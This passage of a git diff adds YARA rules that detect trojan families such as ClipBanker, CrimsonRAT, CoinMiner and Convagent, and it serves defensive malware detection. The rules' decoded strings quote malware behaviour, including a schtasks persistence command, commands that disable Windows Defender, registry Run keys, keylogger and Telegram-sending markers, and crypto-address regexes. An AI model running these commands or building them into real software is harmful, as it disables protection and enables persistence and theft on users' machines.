62 63 31 7c 5b 31 33 5d 29 5b 61 2d 7a 41 2d 48 4a 2d 4e 50 2d 5a 30 2d 39 5d 7b 32 35 2c 33 39 7d 24 } //2 ^(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,39}$ + $a_81_1 = {5e 28 3f 3a 5b 4c 4d 33 5d 5b 61 2d 6b 6d 2d 7a 41 2d 48 4a 2d 4e 50 2d 5a 31 2d 39 5d 7b 32 36 2c 33 33 7d 29 24 } //1 ^(?:[LM3][a-km-zA-HJ-NP-Z1-9]{26,33})$ + $a_81_2 = {5e 28 62 69 74 63 6f 69 6e 63 61 73 68 3a 29 3f 28 71 7c 70 29 5b 61 2d 7a 30 2d 39 5d 7b 34 31 7d } //1 ^(bitcoincash:)?(q|p)[a-z0-9]{41} + $a_81_3 = {44 65 63 72 79 70 74 44 61 74 61 } //1 DecryptData + $a_81_4 = {45 6e 63 72 79 70 74 44 61 74 61 } //1 EncryptData + $a_81_5 = {50 72 6f 63 65 73 73 43 6c 69 70 62 6f 61 72 64 43 6f 6e 74 65 6e 74 } //1 ProcessClipboardContent + condition: + ((#a_81_0 & 1)*2+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/ClipBanker/Trojan_BAT_ClipBanker_NJM_MTB.yar b/Trojan/BAT/ClipBanker/Trojan_BAT_ClipBanker_NJM_MTB.yar new file mode 100644 index 0000000000..69bd70edb6 --- /dev/null +++ b/Trojan/BAT/ClipBanker/Trojan_BAT_ClipBanker_NJM_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_BAT_ClipBanker_NJM_MTB{ + meta: + description = "Trojan:BAT/ClipBanker.NJM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 00 " + + strings : + $a_01_0 = {60 66 11 06 5a 17 5f 16 2e 11 00 11 06 66 1f 40 5f 1f 40 } //2 + $a_81_1 = {2f 63 20 73 63 68 74 61 73 6b 73 20 2f 63 72 65 61 74 65 20 2f 74 6e 20 22 7b 30 7d 22 20 2f 74 72 20 22 7b 31 7d 22 20 2f 53 43 20 4d 49 4e 55 54 45 20 2f 4d 4f 20 31 20 2f 49 54 20 2f 46 } //1 /c schtasks /create /tn "{0}" /tr "{1}" /SC MINUTE /MO 1 /IT /F + $a_81_2 = {53 4f 46 54 57 41 52 45 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 20 4e 54 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 57 69 6e 6c 6f 67 6f 6e } //1 SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon + $a_81_3 = {75 44 4b 36 71 34 4a 67 61 64 39 67 38 4e 54 4d 4b 75 57 4a 61 6f 76 52 42 43 78 76 4b 58 4d 59 7a 74 61 75 } //1 uDK6q4Jgad9g8NTMKuWJaovRBCxvKXMYztau + $a_81_4 = {55 73 65 72 4f 4f 42 45 42 72 6f 6b 65 72 } //1 UserOOBEBroker + condition: + ((#a_01_0 & 1)*2+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Trojan/BAT/ClipBanker/Trojan_BAT_ClipBanker_NJO_MTB.yar b/Trojan/BAT/ClipBanker/Trojan_BAT_ClipBanker_NJO_MTB.yar new file mode 100644 index 0000000000..12a9122320 --- /dev/null +++ b/Trojan/BAT/ClipBanker/Trojan_BAT_ClipBanker_NJO_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_BAT_ClipBanker_NJO_MTB{ + meta: + description = "Trojan:BAT/ClipBanker.NJO!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 00 " + + strings : + $a_81_0 = {33 38 38 33 35 35 63 34 2d 38 35 36 31 2d 34 34 63 30 2d 38 65 36 39 2d 33 30 32 35 63 31 66 32 33 64 31 36 } //2 388355c4-8561-44c0-8e69-3025c1f23d16 + $a_81_1 = {43 6c 69 70 70 65 72 2e 4d 79 2e 52 65 73 6f 75 72 63 65 73 } //1 Clipper.My.Resources + $a_81_2 = {50 61 74 74 65 72 6e 52 65 67 65 78 } //1 PatternRegex + $a_81_3 = {43 6c 69 70 62 6f 61 72 64 4e 6f 74 69 66 69 63 61 74 69 6f 6e } //1 ClipboardNotification + $a_81_4 = {63 75 72 72 65 6e 74 43 6c 69 70 62 6f 61 72 64 } //1 currentClipboard + condition: + ((#a_81_0 & 1)*2+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Trojan/BAT/ClipBanker/Trojan_BAT_ClipBanker_PGCB_MTB.yar b/Trojan/BAT/ClipBanker/Trojan_BAT_ClipBanker_PGCB_MTB.yar new file mode 100644 index 0000000000..922644deed --- /dev/null +++ b/Trojan/BAT/ClipBanker/Trojan_BAT_ClipBanker_PGCB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_ClipBanker_PGCB_MTB{ + meta: + description = "Trojan:BAT/ClipBanker.PGCB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {0a 16 0b 2b 12 06 07 06 07 91 1f ?? 07 ?? 5d 58 61 d2 9c 07 17 58 0b 07 06 8e 69 32 e8 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 0a 16 0b 2b 12 06 07 06 07 91 1f ?? 07 ?? 5d 58 61 d2 9c 07 17 58 0b 07 06 8e 69 32 e8 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/ClipBanker/Trojan_BAT_ClipBanker_PLZ_MTB.yar b/Trojan/BAT/ClipBanker/Trojan_BAT_ClipBanker_PLZ_MTB.yar new file mode 100644 index 0000000000..caa5eae1b5 --- /dev/null +++ b/Trojan/BAT/ClipBanker/Trojan_BAT_ClipBanker_PLZ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_ClipBanker_PLZ_MTB{ + meta: + description = "Trojan:BAT/ClipBanker.PLZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 01 00 00 " + + strings : + $a_03_0 = {72 01 00 00 70 fe 0e 00 00 fe 09 00 00 6f ?? 00 00 0a 8d 3f 00 00 01 fe 0e 01 00 20 00 00 00 00 fe 0e 02 00 20 00 00 00 00 fe 0e 03 00 38 50 00 00 00 fe 0c 01 00 fe 0c 03 00 fe 09 00 00 fe 0c 03 00 6f ?? 00 00 0a fe 0c 00 00 fe 0c 02 00 25 20 01 00 00 00 58 fe 0e 02 00 6f ?? 00 00 0a 61 d2 9c fe 0c 02 00 fe 0c 00 00 6f ?? 00 00 0a 5d fe 0e 02 00 fe 0c 03 00 20 01 00 00 00 58 fe 0e 03 00 fe 0c 03 00 fe 09 00 00 6f ?? 00 00 0a 3f 9e } //4 + condition: + ((#a_03_0 & 1)*4) >=4 + +} \ No newline at end of file diff --git a/Trojan/BAT/ClipBanker/Trojan_BAT_ClipBanker_SL_MTB.yar b/Trojan/BAT/ClipBanker/Trojan_BAT_ClipBanker_SL_MTB.yar new file mode 100644 index 0000000000..12236b1778 --- /dev/null +++ b/Trojan/BAT/ClipBanker/Trojan_BAT_ClipBanker_SL_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_ClipBanker_SL_MTB{ + meta: + description = "Trojan:BAT/ClipBanker.SL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 00 " + + strings : + $a_01_0 = {16 0a 16 7e 05 00 00 04 12 00 73 1c 00 00 0a 26 06 2d 06 17 28 1d 00 00 0a 2a } //2 + $a_81_1 = {70 72 65 64 73 74 30 31 34 } //2 predst014 + condition: + ((#a_01_0 & 1)*2+(#a_81_1 & 1)*2) >=4 + +} \ No newline at end of file diff --git a/Trojan/BAT/ClipBanker/Trojan_BAT_ClipBanker_SM_MTB.yar b/Trojan/BAT/ClipBanker/Trojan_BAT_ClipBanker_SM_MTB.yar new file mode 100644 index 0000000000..9f56448d91 --- /dev/null +++ b/Trojan/BAT/ClipBanker/Trojan_BAT_ClipBanker_SM_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_ClipBanker_SM_MTB{ + meta: + description = "Trojan:BAT/ClipBanker.SM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 00 " + + strings : + $a_01_0 = {06 07 58 0a 00 06 02 fe 04 0d 09 2d b0 } //2 + $a_01_1 = {43 6f 69 6e 43 6c 69 70 70 65 72 } //2 CoinClipper + $a_01_2 = {63 63 5f 43 6f 6e 66 69 67 2e 65 78 65 } //2 cc_Config.exe + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*2) >=6 + +} \ No newline at end of file diff --git a/Trojan/BAT/ClipBanker/Trojan_BAT_Clipbanker_NITA_MTB.yar b/Trojan/BAT/ClipBanker/Trojan_BAT_Clipbanker_NITA_MTB.yar new file mode 100644 index 0000000000..66a6bee449 --- /dev/null +++ b/Trojan/BAT/ClipBanker/Trojan_BAT_Clipbanker_NITA_MTB.yar @@ -0,0 +1,16 @@ + +rule Trojan_BAT_Clipbanker_NITA_MTB{ + meta: + description = "Trojan:BAT/Clipbanker.NITA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 06 00 00 " + + strings : + $a_03_0 = {2b 3f 12 00 28 ?? 00 00 0a 0b 02 12 01 28 ?? 00 00 0a 28 ?? 00 00 0a 2c 28 28 ?? 00 00 0a 7e 06 00 00 04 7e 08 00 00 04 12 01 28 ?? 00 00 0a 6f 52 00 00 0a 28 ?? 00 00 06 6f 53 00 00 0a 0c de 1b 12 00 28 ?? 00 00 0a 2d b8 } //2 + $a_03_1 = {72 97 05 00 70 0a 28 ?? 00 00 0a 0b 07 06 28 ?? 00 00 0a 2c 18 07 0a 07 28 ?? 00 00 06 0c 08 07 28 ?? 00 00 0a 2c 06 08 28 ?? 00 00 0a 20 58 02 00 00 28 ?? 00 00 0a 2b cd } //2 + $a_01_2 = {53 65 6e 64 54 6f 54 65 6c 65 67 72 61 6d } //1 SendToTelegram + $a_01_3 = {44 65 63 72 79 70 74 44 61 74 61 } //1 DecryptData + $a_00_4 = {4b 00 65 00 79 00 6c 00 6f 00 67 00 67 00 65 00 72 00 20 00 73 00 74 00 61 00 72 00 74 00 65 00 64 00 } //1 Keylogger started + $a_00_5 = {53 00 6f 00 66 00 74 00 77 00 61 00 72 00 65 00 5c 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 43 00 75 00 72 00 72 00 65 00 6e 00 74 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 5c 00 52 00 75 00 6e 00 } //1 Software\Microsoft\Windows\CurrentVersion\Run + condition: + ((#a_03_0 & 1)*2+(#a_03_1 & 1)*2+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1) >=8 + +} \ No newline at end of file diff --git a/Trojan/BAT/CobaltStrike/Trojan_BAT_CobaltStrike_GVA_MTB.yar b/Trojan/BAT/CobaltStrike/Trojan_BAT_CobaltStrike_GVA_MTB.yar new file mode 100644 index 0000000000..5348dc0838 --- /dev/null +++ b/Trojan/BAT/CobaltStrike/Trojan_BAT_CobaltStrike_GVA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_CobaltStrike_GVA_MTB{ + meta: + description = "Trojan:BAT/CobaltStrike.GVA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {28 7e 07 00 06 0a 02 2d 0c 03 2d 09 07 28 ef 03 00 06 26 2b 11 07 02 03 28 ee 03 00 06 26 2b 06 20 01 40 00 80 0a 06 2a } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/CoinMiner/Trojan_BAT_CoinMiner_BAA_MTB.yar b/Trojan/BAT/CoinMiner/Trojan_BAT_CoinMiner_BAA_MTB.yar new file mode 100644 index 0000000000..853452a7d5 --- /dev/null +++ b/Trojan/BAT/CoinMiner/Trojan_BAT_CoinMiner_BAA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_CoinMiner_BAA_MTB{ + meta: + description = "Trojan:BAT/CoinMiner.BAA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {02 28 14 00 00 0a 0a 06 8e 69 8d 17 00 00 01 0b 06 06 8e 69 20 9a 02 00 00 59 07 16 20 4d 01 00 00 28 15 00 00 0a 06 16 07 20 4d 01 00 00 06 8e 69 20 9a 02 00 00 59 28 15 00 00 0a 06 06 8e 69 20 4d 01 00 00 59 07 06 8e 69 20 4d 01 00 00 59 20 4d 01 00 00 28 15 00 00 0a 07 2a } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/CoinMiner/Trojan_BAT_CoinMiner_MCF_MTB.yar b/Trojan/BAT/CoinMiner/Trojan_BAT_CoinMiner_MCF_MTB.yar new file mode 100644 index 0000000000..992a0dc9b3 --- /dev/null +++ b/Trojan/BAT/CoinMiner/Trojan_BAT_CoinMiner_MCF_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_CoinMiner_MCF_MTB{ + meta: + description = "Trojan:BAT/CoinMiner.MCF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {64 49 37 58 65 73 37 64 63 52 4f 56 30 37 58 64 32 54 57 00 44 53 51 73 74 58 37 4c 68 6a 67 44 49 54 5a 59 76 4e 38 00 71 32 4a 30 52 72 37 62 } //1 䥤堷獥搷剣噏㜰摘吲W卄獑塴䰷橨䑧呉奚乶8㉱お牒户 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/CoinMiner/Trojan_BAT_Coinminer_CM_MTB.yar b/Trojan/BAT/CoinMiner/Trojan_BAT_Coinminer_CM_MTB.yar new file mode 100644 index 0000000000..68e55bcfad --- /dev/null +++ b/Trojan/BAT/CoinMiner/Trojan_BAT_Coinminer_CM_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Coinminer_CM_MTB{ + meta: + description = "Trojan:BAT/Coinminer.CM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {02 03 07 58 91 0d 07 17 58 0b 09 20 80 00 00 00 5f 16 fe 01 13 05 11 05 2d 10 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/Convagent/Trojan_BAT_Convagent_AB_MTB.yar b/Trojan/BAT/Convagent/Trojan_BAT_Convagent_AB_MTB.yar new file mode 100644 index 0000000000..c439b19a86 --- /dev/null +++ b/Trojan/BAT/Convagent/Trojan_BAT_Convagent_AB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Convagent_AB_MTB{ + meta: + description = "Trojan:BAT/Convagent.AB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {08 20 a0 8e cd e8 58 0d 09 20 b2 4f 09 d2 59 16 16 61 61 16 62 2b b1 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/Convagent/Trojan_BAT_Convagent_AORA_MTB.yar b/Trojan/BAT/Convagent/Trojan_BAT_Convagent_AORA_MTB.yar new file mode 100644 index 0000000000..bd611395fb --- /dev/null +++ b/Trojan/BAT/Convagent/Trojan_BAT_Convagent_AORA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Convagent_AORA_MTB{ + meta: + description = "Trojan:BAT/Convagent.AORA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 02 00 00 " + + strings : + $a_03_0 = {11 0b 16 73 ?? 00 00 0a 13 09 20 03 00 00 00 38 ?? ff ff ff 11 0b 11 08 16 1a 6f ?? 00 00 0a 26 20 02 00 00 00 38 ?? ff ff ff 11 08 16 28 ?? 00 00 0a 13 02 20 00 00 00 00 7e ?? 01 00 04 7b ?? 01 00 04 39 ?? ff ff ff 26 20 00 00 00 00 38 } //5 + $a_03_1 = {11 09 11 0c 11 05 11 02 11 05 59 6f ?? 00 00 0a 13 06 } //2 + condition: + ((#a_03_0 & 1)*5+(#a_03_1 & 1)*2) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/Convagent/Trojan_BAT_Convagent_NG_MTB.yar b/Trojan/BAT/Convagent/Trojan_BAT_Convagent_NG_MTB.yar new file mode 100644 index 0000000000..325c30c6d2 --- /dev/null +++ b/Trojan/BAT/Convagent/Trojan_BAT_Convagent_NG_MTB.yar @@ -0,0 +1,20 @@ + +rule Trojan_BAT_Convagent_NG_MTB{ + meta: + description = "Trojan:BAT/Convagent.NG!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0a 00 00 " + + strings : + $a_01_0 = {42 65 65 6e 64 65 74 20 73 69 63 68 20 73 65 6c 62 73 74 20 6f 68 6e 65 20 42 65 6e 75 74 7a 65 72 62 65 6e 61 63 68 72 69 63 68 74 69 67 75 6e 67 } //1 Beendet sich selbst ohne Benutzerbenachrichtigung + $a_01_1 = {57 69 6e 64 6f 77 73 20 45 72 72 6f 72 20 52 65 70 6f 72 74 69 6e 67 20 64 65 61 6b 74 69 76 69 65 72 65 6e } //1 Windows Error Reporting deaktivieren + $a_01_2 = {57 69 6e 64 6f 77 73 20 53 65 63 75 72 69 74 79 20 4e 6f 74 69 66 69 63 61 74 69 6f 6e 73 20 64 65 61 6b 74 69 76 69 65 72 65 6e } //1 Windows Security Notifications deaktivieren + $a_01_3 = {44 69 73 61 62 6c 65 57 69 6e 64 6f 77 73 55 70 64 61 74 65 41 63 63 65 73 73 } //1 DisableWindowsUpdateAccess + $a_01_4 = {44 69 73 61 62 6c 65 41 6e 74 69 53 70 79 77 61 72 65 } //1 DisableAntiSpyware + $a_01_5 = {57 69 6e 64 6f 77 53 74 79 6c 65 20 48 69 64 64 65 6e 20 2d 45 78 65 63 75 74 69 6f 6e 50 6f 6c 69 63 79 20 42 79 70 61 73 73 20 2d 46 69 6c 65 } //2 WindowStyle Hidden -ExecutionPolicy Bypass -File + $a_01_6 = {44 69 73 61 62 6c 65 52 65 61 6c 74 69 6d 65 4d 6f 6e 69 74 6f 72 69 6e 67 20 24 74 72 75 65 } //1 DisableRealtimeMonitoring $true + $a_01_7 = {44 69 73 61 62 6c 65 49 4f 41 56 50 72 6f 74 65 63 74 69 6f 6e 20 24 74 72 75 65 } //1 DisableIOAVProtection $true + $a_01_8 = {44 69 73 61 62 6c 65 53 63 72 69 70 74 53 63 61 6e 6e 69 6e 67 20 24 74 72 75 65 } //1 DisableScriptScanning $true + $a_01_9 = {53 74 6f 70 2d 53 65 72 76 69 63 65 20 57 69 6e 44 65 66 65 6e 64 20 2d 46 6f 72 63 65 } //1 Stop-Service WinDefend -Force + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*2+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1) >=11 + +} \ No newline at end of file diff --git a/Trojan/BAT/Coyote/Trojan_BAT_Coyote_U.yar b/Trojan/BAT/Coyote/Trojan_BAT_Coyote_U.yar new file mode 100644 index 0000000000..9e1afcf0c1 --- /dev/null +++ b/Trojan/BAT/Coyote/Trojan_BAT_Coyote_U.yar @@ -0,0 +1,19 @@ + +rule Trojan_BAT_Coyote_U{ + meta: + description = "Trojan:BAT/Coyote.U,SIGNATURE_TYPE_PEHSTR_EXT,ffffffb4 00 ffffffb4 00 09 00 00 " + + strings : + $a_01_0 = {55 49 41 75 74 6f 6d 61 74 69 6f 6e 43 6c 69 65 6e 74 } //20 UIAutomationClient + $a_01_1 = {46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 } //20 FromBase64String + $a_01_2 = {43 6f 73 74 75 72 61 } //20 Costura + $a_01_3 = {6d 73 63 6f 72 65 65 2e 64 6c 6c } //20 mscoree.dll + $a_01_4 = {57 61 74 73 6f 6e 54 63 70 43 6c 69 65 6e 74 } //20 WatsonTcpClient + $a_01_5 = {47 65 74 50 72 6f 63 65 73 73 65 73 42 79 4e 61 6d 65 } //20 GetProcessesByName + $a_01_6 = {57 69 6e 64 6f 77 49 6e 74 65 72 6f 70 48 65 6c 70 65 72 } //20 WindowInteropHelper + $a_00_7 = {46 00 46 00 34 00 38 00 44 00 42 00 41 00 34 00 2d 00 36 00 30 00 45 00 46 00 2d 00 34 00 32 00 30 00 31 00 2d 00 41 00 41 00 38 00 37 00 2d 00 35 00 34 00 31 00 30 00 33 00 45 00 45 00 46 00 35 00 39 00 34 00 45 00 } //20 FF48DBA4-60EF-4201-AA87-54103EEF594E + $a_23_8 = {2d 06 16 28 90 01 03 0a 28 90 01 03 06 2c 06 16 28 90 1b 00 0a 90 00 00 } //20 + condition: + ((#a_01_0 & 1)*20+(#a_01_1 & 1)*20+(#a_01_2 & 1)*20+(#a_01_3 & 1)*20+(#a_01_4 & 1)*20+(#a_01_5 & 1)*20+(#a_01_6 & 1)*20+(#a_00_7 & 1)*20+(#a_23_8 & 1)*20) >=180 + +} \ No newline at end of file diff --git a/Trojan/BAT/CrimsonRAT/Trojan_BAT_CrimsonRat_AB_MTB.yar b/Trojan/BAT/CrimsonRAT/Trojan_BAT_CrimsonRat_AB_MTB.yar new file mode 100644 index 0000000000..d2baccb0d4 --- /dev/null +++ b/Trojan/BAT/CrimsonRAT/Trojan_BAT_CrimsonRat_AB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_CrimsonRat_AB_MTB{ + meta: + description = "Trojan:BAT/CrimsonRat.AB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {01 0b 02 02 7b 24 00 00 04 07 16 1b 6f ?? 00 00 0a 7d 1e 00 00 04 07 16 28 ?? 00 00 0a 0c 08 8d } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/CrimsonRAT/Trojan_BAT_CrimsonRat_ACA_MTB.yar b/Trojan/BAT/CrimsonRAT/Trojan_BAT_CrimsonRat_ACA_MTB.yar new file mode 100644 index 0000000000..2e5a217536 --- /dev/null +++ b/Trojan/BAT/CrimsonRAT/Trojan_BAT_CrimsonRat_ACA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_CrimsonRat_ACA_MTB{ + meta: + description = "Trojan:BAT/CrimsonRat.ACA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {13 06 2b 40 11 06 02 7b ?? 00 00 04 30 04 11 06 2b 06 02 7b ?? 00 00 04 13 08 02 7b ?? 00 00 04 11 04 11 05 11 08 6f ?? 00 00 0a 11 05 11 08 58 13 05 11 06 11 08 59 13 06 02 28 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/CrimsonRAT/Trojan_BAT_CrimsonRat_ACN_MTB.yar b/Trojan/BAT/CrimsonRAT/Trojan_BAT_CrimsonRat_ACN_MTB.yar new file mode 100644 index 0000000000..7831146d20 --- /dev/null +++ b/Trojan/BAT/CrimsonRAT/Trojan_BAT_CrimsonRat_ACN_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_CrimsonRat_ACN_MTB{ + meta: + description = "Trojan:BAT/CrimsonRat.ACN!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {07 2b 06 02 7b ?? 00 00 04 13 09 02 7b ?? 00 00 04 11 06 08 11 09 6f ?? 00 00 0a 00 08 11 09 d6 0c 07 11 09 da 0b 00 07 16 fe 02 13 0b 11 0b 2d c6 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/CrimsonRAT/Trojan_BAT_CrimsonRat_ACO_MTB.yar b/Trojan/BAT/CrimsonRAT/Trojan_BAT_CrimsonRat_ACO_MTB.yar new file mode 100644 index 0000000000..f833e4f405 --- /dev/null +++ b/Trojan/BAT/CrimsonRAT/Trojan_BAT_CrimsonRat_ACO_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_CrimsonRat_ACO_MTB{ + meta: + description = "Trojan:BAT/CrimsonRat.ACO!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {16 fe 01 13 07 11 07 2d 0b 02 72 ?? 00 00 70 7d ?? 00 00 04 72 ?? 05 00 70 28 ?? 00 00 0a 13 04 02 7b ?? 00 00 04 72 ?? 00 00 70 28 ?? 00 00 0a 16 fe 01 13 07 11 07 2d 0b 02 72 ?? 00 00 70 7d ?? 00 00 04 11 04 8e 69 17 fe 01 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/CrimsonRAT/Trojan_BAT_CrimsonRat_ACR_MTB.yar b/Trojan/BAT/CrimsonRAT/Trojan_BAT_CrimsonRat_ACR_MTB.yar new file mode 100644 index 0000000000..d7f7de2cf2 --- /dev/null +++ b/Trojan/BAT/CrimsonRAT/Trojan_BAT_CrimsonRat_ACR_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_CrimsonRat_ACR_MTB{ + meta: + description = "Trojan:BAT/CrimsonRat.ACR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {2b 41 00 11 04 02 7b ?? 00 00 04 30 04 11 04 2b 06 02 7b ?? 00 00 04 13 05 02 02 7b ?? 00 00 04 09 06 11 05 6f ?? 00 00 0a 7d ?? 00 00 04 06 02 7b } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/CrimsonRAT/Trojan_BAT_CrimsonRat_AMS_MTB.yar b/Trojan/BAT/CrimsonRAT/Trojan_BAT_CrimsonRat_AMS_MTB.yar new file mode 100644 index 0000000000..5d0d5fa81e --- /dev/null +++ b/Trojan/BAT/CrimsonRAT/Trojan_BAT_CrimsonRat_AMS_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_CrimsonRat_AMS_MTB{ + meta: + description = "Trojan:BAT/CrimsonRat.AMS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {0a 00 06 0d 16 13 04 2b 37 09 11 04 9a 0b 00 07 6f ?? 00 00 0a 2c 0e 07 6f ?? 00 00 0a 18 fe 01 16 fe 01 2b 01 17 0c 08 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Cryp/Trojan_BAT_Cryp_SK_MTB.yar b/Trojan/BAT/Cryp/Trojan_BAT_Cryp_SK_MTB.yar new file mode 100644 index 0000000000..d71287125a --- /dev/null +++ b/Trojan/BAT/Cryp/Trojan_BAT_Cryp_SK_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Cryp_SK_MTB{ + meta: + description = "Trojan:BAT/Cryp.SK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 00 " + + strings : + $a_01_0 = {08 09 d6 0b 09 0c 07 0d 11 0f 17 d6 13 0f 11 0f 1f 5a 31 ec } //2 + $a_81_1 = {46 61 62 74 6f 6d 50 61 72 64 2e 52 65 73 6f 75 72 63 65 73 } //2 FabtomPard.Resources + condition: + ((#a_01_0 & 1)*2+(#a_81_1 & 1)*2) >=4 + +} \ No newline at end of file diff --git a/Trojan/BAT/CryptInject/Trojan_BAT_CryptInject_BSA_MTB.yar b/Trojan/BAT/CryptInject/Trojan_BAT_CryptInject_BSA_MTB.yar index 71f20284bd..e33cd71daf 100644 --- a/Trojan/BAT/CryptInject/Trojan_BAT_CryptInject_BSA_MTB.yar +++ b/Trojan/BAT/CryptInject/Trojan_BAT_CryptInject_BSA_MTB.yar @@ -1,5 +1,41 @@ rule Trojan_BAT_CryptInject_BSA_MTB{ + meta: + description = "Trojan:BAT/CryptInject.BSA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,1d 00 1d 00 03 00 00 " + + strings : + $a_01_0 = {57 9d a2 1d 09 0e 00 00 00 fa 25 33 00 16 00 00 01 00 00 00 37 00 00 00 12 00 } //10 + $a_01_1 = {48 61 6c 6c 61 6a 2e 50 72 6f 70 65 72 74 69 65 73 } //10 Hallaj.Properties + $a_01_2 = {6c 6f 76 65 72 2e 65 78 65 } //9 lover.exe + condition: + ((#a_01_0 & 1)*10+(#a_01_1 & 